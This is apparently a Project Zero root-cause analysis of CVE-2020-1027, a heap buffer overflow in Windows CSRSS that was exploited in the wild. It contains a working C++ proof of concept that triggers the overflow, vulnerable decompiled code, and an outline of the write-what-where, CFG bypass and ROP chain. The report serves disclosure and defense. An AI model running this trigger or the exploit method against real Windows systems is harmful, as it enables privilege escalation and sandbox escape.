# CVE-2020-1027: Windows buffer overflow in CSRSS
*Sergei Glazunov, Project Zero (Originally posted on [Project Zero blog](https://googleprojectzero.blogspot.com/p/rca.html) 2021-01-12)*

## The Basics

**Disclosure or Patch Date:** 

* 23 March 2020 – advisory without technical details
* 14 April 2020 – security bulletin and patch release

**Product:** Microsoft Windows

**Advisory:**

* Initial advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200006
* Security bulletin: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1020

**Affected Versions:** Windows 7 through 10, prior to the April 2020 patch

**First Patched Version:** Windows with April 2020 patch (e.g. for Windows 10 1909/1903, [KB4549951](https://support.microsoft.com/en-us/help/4549951/windows-10-update-kb4549951)).

**Issue/Bug Report:** N/A

**Patch CL:** N/A

**Bug-Introducing CL:** N/A

**Reporter(s):** Google: Project Zero and Threat Analysis Group

## The Code

**Proof-of-concept:**

```c++
#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>

const char* MANIFEST_CONTENTS =
    "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
    "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
    "<assemblyIdentity name='@' version='1.0.0.0' type='win32' "
    "processorArchitecture='amd64'/>"
    "</assembly>";

const WCHAR* NULL_BYTE_STR = L"\x00\x00";
const WCHAR* MANIFEST_NAME =
  L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"
  L"d761caeca23d64a2.manifest";
const WCHAR* PATH = L"\\\\.\\c:Windows\\";
const WCHAR* MODULE = L"System.Data.SqlXml.Resources";

typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
                                                     ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;

typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
                                                   PVOID CaptureBuffer,
                                                   ULONG ApiNumber,
                                                   ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;

typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
                                                       PCSTR String,
                                                       ULONG Length,
                                                       ULONG MaximumLength,
                                                       PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;

NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
                              PCWSTR String, ULONG Length = 0) {
  if (Length == 0) {
    Length = lstrlenW(String);
  }
  return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
                                 Length * 2 + 2, OutputString);
}

int main() {
  HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");
  CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
      Ntdll, "CsrAllocateCaptureBuffer");
  CsrClientCallServer =
      (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");
  CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
      Ntdll, "CsrCaptureMessageString");

  char Message[0x220];
  memset(Message, 0, 0x220);

  PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);

  std::string Manifest = MANIFEST_CONTENTS;
  Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');

  // There's no public definition of the relevant CSR_API_MSG structure.
  // The offsets and values are taken directly from the exploit.
  *(uint32_t*)(Message + 0x40) = 0xc1;
  *(uint16_t*)(Message + 0x44) = 9;
  *(uint16_t*)(Message + 0x59) = 0x201;

  // CSRSS loads the manifest contents from the client process memory;
  // therefore, it doesn't have to be stored in the capture buffer.
  *(const char**)(Message + 0x80) = Manifest.c_str();
  *(uint64_t*)(Message + 0x88) = Manifest.size();
  *(uint64_t*)(Message + 0xf0) = 1;

  CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
  CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
  CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
  CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);

  // Triggers the issue by setting ApplicationName.MaxLength to a large value.
  *(uint16_t*)(Message + 0x122) = 0x8000;

  CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}
```

**Exploit sample:** N/A

**Did you have access to the exploit sample when doing the analysis?** Yes

## The Vulnerability

**Bug class:** Heap buffer overflow

**Vulnerability details:**

The vulnerability has been discovered in the side-by-side assembly component of CSRSS. The affected function `sxssrv!BaseSrvSxsCreateActivationContext` parses an XML manifest into a binary data structure called an activation context. By default, the function is accessible from any Windows process through ALPC.

The relevant IPC message object contains several `UNICODE_STRING` members. `UNICODE_STRING` is a well-known mutable string structure with a separate field to keep the capacity of the backing store:

```c++
typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
```

For each string parameter, the function verifies that the result of the expression `Buffer + Length` doesn’t point past the end of the IPC buffer. Unfortunately, there is no similar check for the  `MaximumLength` field. When the execution reaches the function `sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity`, it relies on the unchecked `MaximumLength` value to determine whether a `memcpy` call should be allowed because one of the strings (offset 0x120 from the beginning of the IPC message on Windows 10.0.18363.959) is reused as an output parameter:

```c++
IdentityNameBuffer = 0;
IdentityNameLength = 0;
 
SetLastError(0);
if (!SxspGetAssemblyIdentityAttributeValue(0, v11, &s_IdentityAttribute_name,
                                           &IdentityNameBuffer, &IdentityNameLength)) {
    CallSiteInfo = off_16506FA20;
    goto error;
}

if (IdentityNameLength && IdentityNameLength < Context->ApplicationNameCapacity) {
    memcpy(Context->ApplicationNameBuffer, IdentityNameBuffer, 2 * IdentityNameLength + 2);
    Context->ApplicationNameLength = IdentityNameLength;
} else {
    *Context->ApplicationNameBuffer = 0;
    Context->ApplicationNameLength = 0;
}
```

As a result,  the attacker gains the ability to trigger buffer overflow in `memcpy` with fully controlled contents and size of both the source and destination buffers.

**Patch analysis:** N/A

**Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:**

The issue could have been found during a manual audit of IPC handlers in CSRSS.

**(Historical/present/future) context of bug:** 

This vulnerability was used in an exploit chain together with a 0-day vulnerability in Chrome ([CVE-2020-6418](CVE-2020-6418.md)). For older OS versions, even though they were also affected, the attacker would pair CVE-2020-6418 with a different privilege escalation exploit ([CVE-2020-1020](CVE-2020-1020.md) and [CVE-2020-0938](CVE-2020-0938.md)).

## The Exploit

**Is this exploit know?** Yes

**Exploit method:**

1. The attacker exploits the issue to overwrite the contents of several `_MY_XML_NODE_INFO` objects and implement the write-what-where primitive.
2. The write-what-where is used to overwrite the module list head in `PEB_LDR_DATA`.
3. The fake module list initiates a code-reuse attack. Due to the presence of Control Flow Guard, the attacker can only call existing functions with one controlled argument. Nevertheless, it’s sufficient to bypass CFG and transition to a classic ROP chain.

## The Next Steps

### Variant analysis

**Areas/approach for variant analysis (and why):**

A manual review of all CSRSS routines that make use of the `UNICODE_STRING` structure.

**Found variants:** None

### Structural improvements

Given that the issue was used as a sandbox escape in a browser exploit chain, it’s recommended to reduce the attack surface by blocking the communication between CSRSS and sandboxed processes completely.

### 0-day detection methods

This is a classic buffer overflow vulnerability; therefore, a memory sanitizer could have easily detected an attempt to exploit it.

## Other References 

* January 2021: ["In the Wild: Windows Exploits"](https://googleprojectzero.blogspot.com/2021/01/in-wild-part-6-windows-exploits.html) blogpost by Project Zero
